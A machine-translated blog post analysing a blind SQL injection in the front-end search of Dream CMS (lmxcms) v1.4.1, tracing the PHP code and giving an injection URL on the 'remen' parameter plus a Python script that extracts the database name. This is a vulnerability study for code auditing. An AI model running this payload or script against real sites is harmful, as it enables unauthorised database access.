当前位置:网站首页>Dream CMS Front Office Search SQL Injection
Dream CMS Front Office Search SQL Injection
2022-07-19 11:26:00 【Fantastic Vie】
Un rêve.CMS Recherche à la réceptionSQLInjection
v1.4.1La version source est dans le répertoire courant,Empêcher une vulnérabilité ultérieure de ne pas trouver le code source
Exigences en matière de vulnérabilité
Version:v1.4.1
Analyse de vulnérabilité
Cet article est basé sur https://xz.aliyun.com/t/11224 L'article de ce maître reproduit les failles,Donc, en regardant directement le point de fuite,Cette boîte de rechercheSQLLe point d'injection est intéressant,Après avoir étudiéSQlAprès injection,Ce point de vulnérabilité peut être utilisé pour un bon apprentissage.
Cette vulnérabilité est dans la boîte de recherche de la page d'accueil, Il n'y a vraiment pas eu d'attention avant que cet endroit puisse être vulnérable .
Le fichier de code correspondant à l'interface recherchée est c/index/SearchAction.class.php Il se lit comme suit::
class SearchAction extends HomeAction{
private $searchModel = null;
private $param;
public function __construct(){
parent::__construct();
if(!$this->config['is_search']) rewrite::error($this->l['search_is_on']);
$this->searchTime(); // Vérifier l'intervalle de recherche
$this->check(); // Vérification des données reçues
if($this->searchModel == null) $this->searchModel = new SearchModel();
}
public function index(){
$this->param['ischild'] = 1;
$arr = $this->searchModel->getSerachField($this->param);//Conditions d'initialisation
$count = $this->searchModel->searchCoutn($arr);
if($count > 0){
$page = new page($count,$GLOBALS['public']['searchnum']);
//Obtenir les données de la liste
$arr['page'] = $page->returnLimit();
$arr['is_home'] = 1;
$searchData = $this->searchModel->getSearchList($arr,$this->param);
//AffectationurlEt d'autres variables
foreach($searchData as $v){
$param['type'] = 'content';
$param['classid'] = $v['classid'];
$param['classpath'] = $GLOBALS['allclass'][$v['classid']]['classpath'];
$param['time'] = $v['time'];
$param['id'] = $v['id'];
$v['classname'] = $GLOBALS['allclass'][$v['classid']]['classname'];
$v['url'] = $v['url'] ? $v['url'] : url($param);
$v['classurl'] = classurl($v['classid']);
$v['classimage'] = $GLOBALS['allclass'][$v['classid']]['images'];
$v['parent_classid'] = $GLOBALS['allclass'][$v['classid']]['uid'];
$newlist[] = $v;
}
$this->smarty->assign('list',$newlist);
$this->smarty->assign('page',$page->html());
}
$this->smarty->assign('num',$count);
// Obtenir un modèle de liste de recherche
if(!$this->param['tem']){
if($this->param['classid']){
$classtem = $GLOBALS['allclass'][$arr['classid']]['searchtem'];
$arr['tem'] = $classtem ? $classtem : 'index';
}else{
$arr['tem'] = 'index';
}
}else{
$arr['tem'] = $this->param['tem'];
}
$this->setSearchTime(); // Enregistrer le temps de recherche
$this->smarty->assign('title',$this->param['keywords']);
$this->smarty->assign('keywords',$this->param['keywords']);
$this->smarty->assign('description',$this->param['keywords']);
$this->smarty->display('search/'.$arr['tem'].'.html');
}
// Vérifier les données reçues et retourner
private function check(){
//AccèsgetDonnées
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
}
Comme vous pouvez le voir à partir du code ci - dessus Appelé avant d'initialiser la construction $this->check(); Vérification des données reçues , Suivez cette fonction pour voir check Le paramètre de contrôle dans la méthode doit avoir keywords,Appelé en même temps string::delHtml($data['keywords']); C'est exact.keywordsOn s'en occupe.,Suivi delHtml À class/string.class.php Le code suivant du fichier :
//EnlevezhtmlÉtiquettes
public static function delHtml($str){
return strip_tags($str);
}
Principalement pour l'enlèvementhtml Étiquettes. Retour àindex Continuer à tracer le Code , Vous pouvez voir que le Code s'exécute $count = $this->searchModel->searchCoutn($arr); ,On l'a retrouvé.m/SearchModel.class.php Dans le fichier searchCoutn Méthodes
// Obtenir le nombre total de recherches
public function searchCoutn($searchInfo){
$param = $this->sqlStr($searchInfo);
$param['force'] = 'title';
return parent::countModel($param);
}
Continuez à suivre À class/Model.class.php Dans le fichier countModelMéthodes
//Renvoie le nombre d'enregistrements
protected function countModel($param=array()){
return parent::countDB($this->tab['0'],$param);
}
Finalement tracé jusqu'àclass/db.class.php Document countDB Méthodes
//Nombre d'enregistrements de requête
protected function countDB($tab,$param){
$We = $this->where($param);
$sql="SELECT count(1) FROM ".DB_PRE."$tab $We";
// echo $sql;
$result=$this->query($sql);
$data = mysql_fetch_row($result);
$this->result($result);
return $data['0'];
}
Pour plus de commodité, vous pouvez ajouter echo $sql; Mise en service, Pour faciliter l'impression des SQL
C'est notre processus global de traçage du Code de vulnérabilité , Revenons au fichier de code initial c/index/SearchAction.class.phpDanscheck Méthodes
// Vérifier les données reçues et retourner
private function check(){
//AccèsgetDonnées
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
Ce qui est important ici, c'est que $data = p(2,1,1); Cet endroit va échapper aux guillemets simples pour les paramètres que nous avons entrés , Certaines fonctions sont filtrées .
Cette méthode nous donne aussi une information utile
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
Ceux - ci peuvent être passés comme paramètres ,Je passe parremenEffectuer des tests
Tests de vulnérabilité
Envoyer la demande suivante:/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=11 Voir imprimé SQL Pour:
SELECT count(1) FROM lmx_product_data WHERE time > 1626240056 AND remen=11 AND classid in(11,12,13,14,5) AND (title like '%c%') ORDER BY id desc
Vous pouvez voir ce que nous avons transmis remen A été attelé à SQL Moyenne, Il ne reste plus qu'à faire un test d'injection .
Envoyer la demande /index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+ Parce que les guillemets simples sont échappés,C'est pour ça queascii, Le nom de la base de données que nous testons est lmxcms, Le premier est l Correspondant C'est 0x6c, La page est retournée à ce moment Content-Length: 7722 Si notre valeur n'est pas 0x6c La longueur retournée est Content-Length: 4955
Il est donc possible d'obtenir des informations de base de données à partir de ce code d'écriture
import requests
url = "http://192.168.80.154:9090?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+"
result = ""
for i in range(1, 7):
for j in range(80, 180):
cl = url.format(i, hex(j))
res = requests.get(cl)
if len(res.text) > 6000:
result += chr(j)
print(result)
Résumé
Cette vulnérabilité est le prochain exemple d'une très bonne vérification de code ,Le Code n'est pas compliqué non plus.,Même si je ne comprends pas PHP Vous pouvez également commencer rapidement
Liens connexes
边栏推荐
- The difference between CPU load and CPU utilization
- Microservice online specification
- 【多线程】JUC详解 (Callable接口、RenntrantLock、Semaphore、CountDownLatch) 、线程安全集合类面试题
- Develop the first Flink app
- Getting started with web security - deploy snort open source ids/ips system
- Paper notes: mind the gap an empirical evaluation of impaction ofmissing values techniques in timeseries
- ZABBIX proxy server configuration
- Tire Defect Detection Using Fully Convolutional Network-论文阅读笔记
- Resources for physics based simulation in computer graphics
- Some methods of early MCU encryption [get data in the comment area]
猜你喜欢

传输层 -------- TCP(一)

Unity dropdown (editable, inputable) drop-down selection box with Text Association

Mysql优化系列之limit查询

Keras deep learning practice (14) -- r-cnn target detection from scratch

委派双亲之类加载器

【PostgreSQL 】PostgreSQL 15对distinct的优化

LeetCode 745. 前缀和后缀搜索

Leetcode 1328. 破坏回文串(可以,已解决)

Mysql 自增id、uuid与雪花id
![[multithreading] detailed explanation of JUC (callable interface, renntrantlock, semaphore, countdownlatch), thread safe set interview questions](/img/3a/b0bdf66e11e66234a222d977fd933c.png)
[multithreading] detailed explanation of JUC (callable interface, renntrantlock, semaphore, countdownlatch), thread safe set interview questions
随机推荐
Introduction to the universal theme system of SAP appgyver
TCP拥塞控制详解 | 7. 超越TCP
Mysql 自增id、uuid与雪花id
synchronized锁升级
Leetcode 1328. 破坏回文串(可以,已解决)
web安全入门-部署Snort开源IDS/IPS系统
QT two overloaded qlistwidget control objects implement selectitem drag drag
LeetCode 558. 四叉树交集
Conversion of unity3d model center point (source code)
The type of MySQL index (single column index, combined index, BTREE index, clustered index, etc.)
Microservice online specification
Leetcode 1310. 子数组异或查询
Mysql优化系列之limit查询
Introduction to sap appgyver
A curated list of awesome Qt and QML
Goldfish rhca memoirs: cl210 describes the openstack control plane -- identify the overcloud control platform service + chapter experiment
Qt--优秀开源项目
mysql show processlist 详解
An error, uncaught typeerror: modalfactory is not a constructor
LOJ 2324 - "Tsinghua training 2017" small y and binary tree